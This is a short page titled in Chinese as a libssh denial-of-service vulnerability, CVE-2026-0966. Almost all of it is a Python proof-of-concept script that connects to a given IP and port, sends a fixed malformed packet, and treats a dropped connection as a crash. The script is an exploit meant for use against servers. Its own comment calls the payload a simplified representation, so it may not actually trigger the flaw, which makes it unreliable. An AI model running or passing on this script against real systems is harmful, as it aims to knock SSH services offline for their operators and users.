CVE-2026-0966 libssh拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-0966 (libssh DoS via ssh_get_hexa) # This script attempts to trigger the vulnerability by interacting with a target. # Note: Target server must have GSSAPI enabled and log level >= 3. import socket import sys def send_poc(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive Banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Send malformed GSSAPI packet to trigger ssh_get_hexa with zero-length # This is a simplified representation of the packet structure payload = b"\x00\x00\x00\x14\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" print("[*] Sending malformed payload...") s.send(payload) # Wait for response or timeout (indicating potential crash) response = s.recv(1024) print(f"[+] Response received: {response}") s.close() except Exception as e: print(f"[!] Connection failed or server crashed: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_0966_poc.py <IP> <PORT>") sys.exit(1) send_poc(sys.argv[1], int(sys.argv[2]))